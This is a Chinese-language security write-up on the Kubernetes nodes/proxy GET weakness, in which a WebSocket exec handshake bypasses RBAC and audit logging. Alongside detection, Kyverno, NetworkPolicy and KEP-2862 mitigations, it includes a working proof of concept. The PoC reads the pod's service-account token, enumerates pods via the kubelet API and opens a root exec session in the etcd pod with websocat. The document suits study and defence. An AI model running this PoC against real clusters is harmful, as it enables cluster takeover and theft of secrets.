导语

2026 年 1 月,安全研究员 Graham Helton 公开披露了一个令人警醒的 Kubernetes RBAC 授权绕过问题:仅需 nodes/proxy GET 权限,攻击者即可在集群中任意 Pod 内执行命令,包括特权系统 Pod 和控制平面组件,最终导致完整的集群沦陷。更令人不安的是,这条攻击路径完全绕过了 Kubernetes 审计日志对 pods/exec 操作的记录。

这不是某个特定厂商的漏洞,而是 Kubernetes RBAC 授权模型与 WebSocket 协议语义之间的根本性不匹配。Kubernetes 安全团队在 HackerOne 安全披露流程中将其定性为 "Won't Fix — Working as Intended",拒绝分配 CVE 编号,并指向 KEP-2862 作为长期架构解决方案。

本文将从协议层、授权模型、攻击链复现和生态影响四个维度,对这一问题进行完整的技术解剖。

属性 详情
漏洞权限 nodes/proxy GET
测试 K8s 版本 v1.34, v1.35
必要网络访问 Kubelet API(端口 10250)
影响范围 可达节点上任意 Pod 内代码执行
披露状态 Won't Fix(设计预期行为)
受影响 Helm Chart 69+

一、nodes/proxy 权限模型详解

1.1 RBAC 资源与动词映射

Kubernetes RBAC 通过资源(Resource)和动词(Verb)的组合控制访问权限。标准映射关系如下:

  • pods + get → 读取 Pod 列表
  • pods/exec + create → 在 Pod 内执行命令
  • pods/logs + get → 读取容器日志

这种设计使得安全审计人员可以通过审查 ClusterRole 快速判断一个服务账户是否具备写权限。nodes/proxy 是一个违反这一直觉的异类。

1.2 nodes/proxy 的双重路径

nodes/proxy 不是映射到单一操作的资源,而是 Kubelet API 的一个万能代理网关,控制两条截然不同的访问路径:

路径 A:API Server Proxy(经过 API Server 代理)

https://$APISERVER/api/v1/nodes/$NODE_NAME/proxy/...

请求经由 API Server 转发至目标节点的 Kubelet。常见操作包括:

# 读取节点指标
kubectl get --raw /api/v1/nodes/$NODE_NAME/proxy/metrics

# 读取资源使用摘要
kubectl get --raw /api/v1/nodes/$NODE_NAME/proxy/stats/summary

# 获取容器日志
kubectl get --raw /api/v1/nodes/$NODE_NAME/proxy/containerLogs/$NS/$POD/$CONTAINER

关键特征:所有请求均经过 API Server,受 AuditPolicy 完整记录,包括 pods/exec 的完整请求 URI(含执行命令)。

路径 B:Kubelet API 直连

https://$NODE_IP:10250/...

请求直接发往节点上的 Kubelet 进程,不经过 API Server。审计日志中仅记录 subjectaccessreviews 的授权检查,不记录 pods/exec 的具体操作和命令内容

Kubelet API 除暴露 /metrics/stats/containerLogs 等只读端点外,还暴露以下高危写操作端点:

Kubelet 端点 功能 预期所需 RBAC 动词
/exec 在容器内执行命令(交互式) CREATE
/run 在容器内执行命令(非交互式) CREATE
/attach 附加到容器进程的 stdin/stdout/stderr CREATE
/portforward 创建网络隧道转发 TCP 连接 CREATE

1.3 HTTP 方法到 RBAC 动词的映射

Kubelet 采用与 API Server 相同的请求属性方法进行授权判断(auth.go:80-94):

HTTP 方法 RBAC 动词
GET get
POST create
PUT update
PATCH patch
DELETE delete

这种映射在标准 HTTP 请求场景下工作正常。但当涉及 WebSocket 协议时,一条根本性的语义鸿沟出现了。


二、漏洞原理:WebSocket 握手与授权的语义鸿沟

2.1 核心矛盾

根据 WebSocket RFC 6455 Section 4.1,WebSocket 连接必须以 HTTP GET 请求发起握手:

GET /exec/default/nginx/nginx?command=id&stdout=true HTTP/1.1
Host: node-ip:10250
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13

这就是问题所在。Kubelet 在处理这个请求时:

  1. 读取 HTTP 方法 GET
  2. 映射为 RBAC 动词 get
  3. 映射路径 /exec/...nodes/proxy 子资源
  4. 执行授权检查:"该用户是否拥有 nodes/proxy get 权限?"
  5. 检查通过 → 升级连接为 WebSocket → 不再进行二次 CREATE 权限检查

正常情况下,通过 API Server Proxy 路径执行 POST 请求到 /exec 端点时,POST 会被正确映射为 create 动词,仅有 get 权限的服务账户将被拒绝(403 Forbidden)。但 WebSocket 绕过了这一映射。

2.2 授权流程对比

正常 exec 路径(API Server Proxy,POST):

攻击者 → API Server (POST /exec) → 映射为 CREATE → 检查 nodes/proxy create → 403 Forbidden ✗

WebSocket exec 路径(Kubelet 直连,GET 升级):

攻击者 → Kubelet (GET /exec, Upgrade: websocket)
  → 映射为 GET → 检查 nodes/proxy get → 200 OK ✓
  → WebSocket 连接建立 → exec 处理器接管 → 无二次检查
  → 攻击者获得完整 exec 会话 → 任意命令执行

2.3 审计日志盲区

这是此漏洞最危险的特征之一。两种路径的审计日志差异极大:

经过 API Server 的 exec 请求(在审计日志中可见完整命令):

{
  "kind": "Event",
  "apiVersion": "audit.k8s.io/v1",
  "requestURI": "/api/v1/namespaces/kube-system/pods/etcd-minikube/exec?command=sh&command=-c&command=id",
  "verb": "get",
  "objectRef": {
    "resource": "pods",
    "subresource": "exec"
  }
}

直连 Kubelet 的 exec 请求(仅记录 subjectaccessreviews,不记录命令):

{
  "kind": "Event",
  "apiVersion": "audit.k8s.io/v1",
  "requestURI": "/apis/authorization.k8s.io/v1/subjectaccessreviews",
  "verb": "create",
  "objectRef": {
    "resource": "subjectaccessreviews",
    "apiGroup": "authorization.k8s.io"
  }
}

直连 Kubelet 路径下,pods/exec 操作完全不生成审计日志记录,攻击者执行的命令无法通过标准审计手段回溯。


三、攻击链复现

3.1 完整攻击链图

┌─────────────────────────────────────────────────────────────────────────┐
│                        攻击链全景图                                      │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  [Step 1] 获取 ServiceAccount Token                                     │
│       │  来源: Pod 内 SA Token 挂载 / 配置泄露 / SSRF                     │
│       ▼                                                                 │
│  [Step 2] 枚举节点 IP 地址                                               │
│       │  来源: kubectl get nodes -o wide / DNS / API Server             │
│       ▼                                                                 │
│  [Step 3] 枚举目标 Pod                                                  │
│       │  GET https://$NODE_IP:10250/pods → 列出节点所有 Pod            │
│       ▼                                                                 │
│  [Step 4] WebSocket 握手建立 exec 会话                                   │
│       │  websocat --insecure                                            │
│       │    --header "Authorization: Bearer $TOKEN"                       │
│       │    --protocol v4.channel.k8s.io                                │
│       │    "wss://$NODE_IP:10250/exec/$NS/$POD/$CONTAINER               │
│       │     ?output=1&error=1&command=id"                               │
│       ▼                                                                 │
│  [Step 5] 获取 root shell                                                │
│       │  uid=0(root) gid=0(root) groups=0(root)                         │
│       ▼                                                                 │
│  [Step 6] 横向移动                                                       │
│       ├── 读取 SA Token → API Server 认证                                │
│       ├── 攻击 etcd / kube-apiserver 等系统 Pod                          │
│       ├── 窃取 Secrets / ConfigMaps                                      │
│       └── 部署后门 Pod → 持久化控制                                       │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

3.2 最小可利用权限

一个仅包含 nodes/proxy GET 的 ClusterRole 就足以构成完整攻击链:

# 可被利用的最小 ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: nodes-proxy-reader
rules:
  - apiGroups: [""]
    resources: ["nodes/proxy"]
    verbs: ["get"]

3.3 PoC:从 Token 到 root exec

# Step 1: 从 Pod 内获取 SA Token
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

# Step 2: 获取目标节点 IP(假设已知)
export NODE_IP=10.0.1.100

# Step 3: 枚举节点上所有 Pod
curl -sk -H "Authorization: Bearer $TOKEN" \
  https://$NODE_IP:10250/pods | jq '.items[].metadata.name'

# Step 4: 使用 websocat 建立 WebSocket exec 会话
websocat --insecure \
  --header "Authorization: Bearer $TOKEN" \
  --protocol v4.channel.k8s.io \
  "wss://$NODE_IP:10250/exec/kube-system/etcd-control-plane/etcd\
?output=1&error=1&command=id"

# 输出:
# uid=0(root) gid=0(root) groups=0(root)

3.4 目标选择:高价值系统 Pod

由于 nodes/proxy GET 可以在任意 Pod 中执行命令,攻击者可优先针对以下高价值目标:

系统组件 Pod 攻击价值 典型路径
etcd 直接读取/修改集群状态数据库 kube-system/etcd-{node}
kube-apiserver API Server 凭证、证书 kube-system/kube-apiserver-{node}
kube-scheduler 调度策略操控 kube-system/kube-scheduler-{node}
kube-controller-manager 控制器凭证 kube-system/kube-controller-manager-{node}
coredns DNS 劫持 kube-system/coredns-*
kube-proxy 网络策略绕过 kube-system/kube-proxy-*

四、影响评估

4.1 受影响 Helm Chart

Graham Helton 通过代码仓库扫描确认,至少 69 个广泛使用的 Helm Chart 在默认配置或可选配置中授予了 nodes/proxy GET 权限。以下列出高影响类别中的代表性 Chart:

类别 Helm Chart 影响说明
可观测性 prometheus-community/prometheus 全节点指标采集
可观测性 grafana/promtail 全节点日志采集
可观测性 opentelemetry-helm/opentelemetry-kube-stack OTel 全栈监控
安全工具 aquasecurity/trivy-operator 安全扫描
安全工具 wiz-sec/sensor 云安全态势管理
网络方案 cilium/cilium(启用 SPIRE 时) CNI 策略引擎
APM/监控 datadog/datadog 全栈监控代理
APM/监控 newrelic/newrelic-infrastructure 基础设施监控
日志管理 elastic/elastic-agent 日志与指标采集

注意:部分 Chart(如 cilium)需要启用特定功能选项才会引入 nodes/proxy 权限。

4.2 攻击面评估

此漏洞的实际威胁程度取决于以下因素的叠加:

  1. 权限授予广度:69+ Helm Chart 意味着大量集群的默认部署中存在可利用的 SA Token
  2. 网络可达性:大多数集群内网络策略未限制 Pod 到 Kubelet 10250 端口的通信
  3. 审计日志盲区:直连 Kubelet 路径不记录 pods/exec 操作,事后取证困难
  4. 权限提升路径:从任意 Pod exec → 读取 SA Token → 可能获得 cluster-admin
  5. K8s 官方态度:Won't Fix 意味着在 KEP-2862 全面落地之前,此问题将持续存在

五、检测与缓解

5.1 检测方法

方法一:kubectl 权限检查

# 检查特定 SA 是否拥有可利用权限
kubectl auth can-i get nodes --subresource=proxy \
  --as=system:serviceaccount:monitoring:prometheus

# 如果输出 "yes",则该 SA 具备可利用权限

方法二:批量扫描所有 ClusterRole

Graham Helton 发布了专用检测脚本,可自动枚举集群中所有绑定 nodes/proxy GET 的服务账户。

方法三:审计 subjectaccessreviews 日志

虽然直连 Kubelet 的 exec 操作不在审计日志中体现为 pods/exec,但 subjectaccessreviews 记录仍然存在。可以监控高频 subjectaccessreviews 作为异常行为指标。

5.2 缓解方案对比

缓解措施 实施难度 防护效果 局限性
NetworkPolicy 封锁 10250 端口 高:切断直连路径 可能影响合法监控流量;不影响 API Server Proxy 路径
Kyverno 策略阻止 nodes/proxy 高:从 RBAC 层阻断 需要逐步替换为细粒度权限
OPA Gatekeeper 限制 高:准入控制层拦截 策略维护成本较高
迁移到 KEP-2862 细粒度权限 高(长期) 根治性 需要 K8s 1.33+ 才可启用 Beta
限制 SA Token 自动挂载 部分缓解:减少 Token 泄露面 不解决已有权限的滥用
Kubelet 认证白名单 根治性:仅允许 API Server 访问 需要修改 Kubelet 启动参数

5.3 Kyverno 策略示例

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: deny-nodes-proxy-get
spec:
  validationFailureAction: Enforce
  rules:
    - name: block-nodes-proxy-get-in-rbac
      match:
        any:
          - resources:
              kinds:
                - ClusterRole
                - Role
      validate:
        message: "Granting nodes/proxy permissions is prohibited. Use fine-grained alternatives (nodes/metrics, nodes/stats, etc.) per KEP-2862."
        deny:
          conditions:
            any:
              - key: "{{ request.object.rules[].resources[] }}"
                operator: Equals
                value: "nodes/proxy"

5.4 NetworkPolicy 示例

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: deny-kubelet-direct-access
  namespace: monitoring
spec:
  podSelector: {}
  policyTypes:
    - Egress
  egress:
    # 允许到 API Server 的通信
    - to:
        - ipBlock:
            cidr: 10.96.0.0/12  # Kubernetes Service CIDR
      ports:
        - protocol: TCP
          port: 443
    # 默认拒绝所有其他 Egress(包括到 10250 端口的直连)

六、KEP-2862:长期架构解决方案

6.1 时间线

K8s 版本 KEP-2862 状态 说明
v1.32 Alpha(默认关闭) Feature Gate KubeletFineGrainedAuthz 引入
v1.33 Beta(默认启用 支持部分细粒度子资源
v1.36 GA Feature Gate 锁定为启用,正式发布

6.2 新的细粒度子资源映射

KEP-2862 引入了以下细粒度 Kubelet 子资源,替代粗粒度的 nodes/proxy

权限 对应 Kubelet API 端点 典型使用场景
nodes/metrics /metrics, /metrics/cadvisor, /metrics/probes Prometheus 等指标采集
nodes/stats /stats, /stats/summary 资源使用统计
nodes/log /logs/ 节点日志
nodes/healthz /healthz, /healthz/ping, /healthz/syncloop 健康检查探针
nodes/pods /pods, /runningpods Pod 列表/状态查询
nodes/configz /configz 配置信息
nodes/spec /spec/* 节点规格查询
nodes/checkpoint /checkpoint/* 容器检查点

6.3 重要的局限性

  1. /exec/run/attach/portforward 仍然没有细粒度替代——任何合法需要这些端点的工作负载仍需使用 nodes/proxy
  2. 不修复 WebSocket 动词映射行为——nodes/proxy GET 通过 WebSocket 获得执行能力的根本问题依旧存在
  3. 向后兼容模式——Kubelet 先检查细粒度子资源,失败后回退到 nodes/proxy,迁移期两者并存
  4. 升级路径——现有绑定 nodes/proxy 的工作负载在升级后无需修改即可继续运行,但安全团队应主动迁移到细粒度权限

6.4 迁移后的 ClusterRole 示例

# 旧方式:过度授权
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: monitoring-agent
rules:
  - apiGroups: [""]
    resources: ["nodes/proxy"]
    verbs: ["get"]

---
# 新方式:最小权限
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: monitoring-agent
rules:
  - apiGroups: [""]
    resources: ["nodes/metrics", "nodes/stats"]
    verbs: ["get"]

七、个人技术观点

7.1 "Working as Intended" 的合理性与危险性并存

从 Kubelet 实现者的角度看,此行为确实"按设计工作"——Kubelet 在 HTTP 层面忠实地将 GET 映射为 get 动词,完全遵循了 RFC 6455 的 WebSocket 握手规范。问题在于这个映射在语义层面产生了鸿沟:WebSocket 的 GET 握手是一个建立双向通信通道的元操作,而非传统意义上的资源读取。Kubelet 没有区分"读取的 GET"和"握手的 GET"。

Kubernetes 安全团队拒绝为此分配 CVE 并标记为 Won't Fix 是有架构考量的——在 Kubelet 和 API Server 之间实现"二次授权"逻辑确实复杂且脆弱。但这不意味着问题不存在。

7.2 与 Kerberoasting 的类比

Graham Helton 在其原文中将此问题类比为 Active Directory 中的 Kerberoasting——架构上"设计如此",部署广泛,可被攻击者利用多年。这个类比非常精准。nodes/proxy GET 的问题将在 KEP-2862 全面落地并被生态系统采纳之前持续存在,而生态采纳是一个可能需要数年的过程。

7.3 对集群安全实践的启示

  1. RBAC 审计必须超越字面含义nodes/proxy GET 看起来是只读的,但实际等同于节点级的 root 权限。安全审计需要理解每个权限的实际攻击面,而非仅看动词名称。
  2. 纵深防御不可或缺:仅依赖 RBAC 是不够的。NetworkPolicy 限制 10250 端口访问是最直接的缓解手段。
  3. 关注 Kubelet 直连路径:大多数安全讨论集中在 API Server 层面,但 Kubelet API 直连路径的攻击面长期被低估。
  4. 加速 KEP-2862 采纳:K8s 1.36 已 GA,所有新部署应默认使用细粒度权限。存量集群应制定迁移计划。

八、参考来源

  1. Graham Helton, Kubernetes Remote Code Execution Via Nodes/Proxy GET Permission, 2026-01-26 — https://grahamhelton.com/blog/nodes-proxy-rce
  2. Daniel Limanowski & Adam Brown (Horizon3.ai), When "Read-Only" Isn't: K8s nodes/proxy GET to RCE, 2026-02-27 — https://horizon3.ai/attack-research/when-read-only-isnt-k8s-nodes-proxy-get-to-rce/
  3. Kubernetes Official Blog, Kubernetes v1.36: Fine-Grained Kubelet API Authorization Graduates to GA, 2026-04-24 — https://kubernetes.io/blog/2026/04/24/kubernetes-v1-36-fine-grained-kubelet-authorization-ga/
  4. KEP-2862: Fine-Grained Kubelet API Authorization — https://github.com/kubernetes/enhancements/issues/2862
  5. OpenFaaS Blog, How should OpenFaaS users approach nodes/proxy RCE in Kubernetes?https://www.openfaas.com/blog/kubernetes-node-proxy-rce/
  6. Rory McCune, When is read-only not read-only?, 2024-11-11 — https://raesene.github.io/blog/2024/11/11/When-Is-Read-Only-Not-Read-Only/
  7. Kubernetes Documentation, kubelet Authentication/Authorizationhttps://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/
  8. Kubernetes Documentation, RBAC Good Practiceshttps://kubernetes.io/docs/concepts/security/rbac-good-practices/
  9. Kubernetes Source Code, pkg/kubelet/server/auth.go:80-94https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/server/auth.go
  10. IETF RFC 6455, The WebSocket Protocolhttps://datatracker.ietf.org/doc/html/rfc6455

网络安全免责声明

本文仅供网络安全研究与教育目的。文中所描述的技术细节、PoC 代码和攻击链仅用于帮助安全专业人员评估自身基础设施的安全性。未经授权访问计算机系统或网络是违法行为。任何将本文技术用于未经授权的渗透测试、攻击或恶意活动的行为,均与作者意图无关,使用者需自行承担全部法律责任。请确保在获得明确书面授权的环境中进行安全测试,并遵守所在地区的法律法规。